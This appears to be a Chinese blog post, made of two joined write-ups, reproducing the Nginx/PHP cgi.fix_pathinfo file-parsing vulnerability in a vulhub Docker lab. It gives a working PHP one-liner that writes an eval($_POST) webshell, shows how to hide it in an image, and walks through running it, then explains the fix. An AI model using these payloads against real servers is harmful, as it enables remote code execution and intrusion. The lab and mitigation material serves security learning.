Nginx 解析漏洞复现及利用

Posted Tauil

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Nginx 解析漏洞复现及利用相关的知识,希望对你有一定的参考价值。

nginx 解析漏洞复现

今天被老师进行进行面试了,被问到了什么是解析漏洞,呜呜呜我太菜了,答不出来,但是生命不息,学习不止,现在就让我们一起学习一下什么是解析漏洞。

打开vulhub靶场,这个靶场搭建的方法在https://blog.csdn.net/Tauil/article/details/125869410?spm=1001.2014.3001.5502,这个漏洞的地址是在nginx/nginx_parsing_vulnerability,直接就是一个

cd nginx/nginx_parsing_vulnerability/
sudo docker-compose up -d

登录 http://靶机ip/uploadfiles/nginx.png,当在该URL中输入不存在的文件名x.php时,发现会自动显示php界面内容

这是什么原因呢?其实啊这就是nginx的文件解析出现了错误,在获得这个.php路径时他没有检查,一看是个.php后缀的文件就直接丢给php去处理了,php处理的时候发现 “诶?没有这个文件啊” 于是他就会继续向上找,就找到了.php的上级文件.jpg,然后把它当做php文件给处理了。具体的就看下面这个详细信息

Nginx 解析漏洞该解析漏洞是PHP CGI 的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认开启,当URL中有不存在的文件,PHP就会向前递归解析 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg解析为 php 文件。

Nginx<=0.8.37 解析漏洞 在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞,在一个文件路径(/xx.jpg)后面加上%00.php 会将 /xx.jpg%00.php 解析为php 文件。另一种手法:上传一个名字为test.jpg,包含以下内容文件:<?PHP fputs(fopen(‘shell.php’.‘w’),’<?phpeval($_POST[cmd])?>’);?> 然后访问test.jpg/.php 在这个目录下就会生成一句话木马shell.php。

昂,具体内容在这https://blog.csdn.net/niqiu320/article/details/115481193,有兴趣的自己看一下。

Nginx 解析漏洞利用

所以我们现在要做的就是上传一个图片马文件到这个网站上,然后在登录/.上传的.jpg/.php来执行该文件,从而生成我们的shell.php文件来连接靶机

首先随机拿一张图片,然后再写一个.php文件,里面写上

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);echo"hacker"?>');?>

//创建名为shell.php的文件,并在文件中写入<?php eval($_POST["cmd"]);echo"hacker"?>

我这里用的图片就是这个,非常好认嗷。

然后在桌面(你两个文件在哪就在哪打开)打开cmd,执行命令

copy /b 图片文件+php文件 shell.jpg

然后就成功将两个文件合成为shell.jpg文件了,现在我们就可以访问http://靶机IP/index.php来上传我们的文件,很显然,不给上传,东西写进去文件被破坏了,被检验出不是正常的jpg不能上传了,可能有些朋友就成功了,因为第一次的时候我是可以的,现在应该是写的内容太多了,出了问题。

这时候我们就可以打开WexHex,将图片打开,拉倒文件的最末尾处,右键选择编辑,添加零字节,然后在上面写入以下内容


正常情况下保存后图片仍然能正常显示,如果还是不能正常显示的,可以打开burpsuite,然后上传正常图片时抓包,在数据末尾加上一句话木马,通常就能上传成功了。

现在将修改好的图片进行上传,上传成功后访问图片位置,图片内容正常,这时候在URL后加上/.php,让其运行php命令

会发现看不到我们写入的php命令了,但是其实是因为他已经成功执行了,这时候在uploadfiles的目录下已经成功生成了名为shell.php的文件,我们只需要访问该文件就可以了


这里的警告不用在意,这个不影响。这个时候就可以打开某不知名工具进行连接,连接成功后就可以进入到靶机内部

再深入的就不讲了,学习新思想,争做新青年,一起好好学习,努力为社会做出贡献。

nginx解析漏洞复现

nginx解析漏洞复现

一、漏洞描述

该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞

二、漏洞原理

1、 由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://ip/uploadfiles/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png是我们上传的包含PHP代码的照片文件。

  技术图片

2、但是fastcgi在处理’.php’文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了’/test.png’。

3、 最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将’.png’等文件当做代码解析。

  技术图片

注:限制fpm允许解析的脚本扩展名。此设置可以预防web服务器配置的错误。应当限制fpm仅仅解析.php扩展名,阻止恶意用户使用其他扩展名运行php代码。默认值:.php

三、漏洞环境搭建和复现

1、 使用docker搭建漏洞环境

2、 执行如下命令,运行环境

docker-compose up -d

3、 浏览器访问http://172.17.0.1/

  技术图片

4、上传一个图片,burp抓包,修改数据包,在末尾添加<?php phpinfo();?>

  技术图片

5、浏览器访问http://172.17.0.1/uploadfiles/3626850d481efd38a8ae8164011f41b2.jpg/a.php

下图看到成功执行了php代码,说明存在解析漏洞

  技术图片

6、修改php-fpm.conf的配置文件

  技术图片

7、重启服务

docker-compose restart

  技术图片

8、浏览器再次访问http://172.17.0.1/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/x.php,发现被拒绝,说明漏洞被修复

  技术图片

四、漏洞防御

1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面

2、 php-fpm.conf中的security.limit_extensions后面的值设置为.php

以上是关于Nginx 解析漏洞复现及利用的主要内容,如果未能解决你的问题,请参考以下文章

安全漏洞的复现与总结

Samba服务安全漏洞复现及利用[CVE-2007-2447]

WEB安全Apache Log4j 漏洞利用分析

Log4j2高危漏洞CNVD-2021-95914复现及分析

网络安全之命令执行漏洞复现

漏洞复现——httpd换行解析漏洞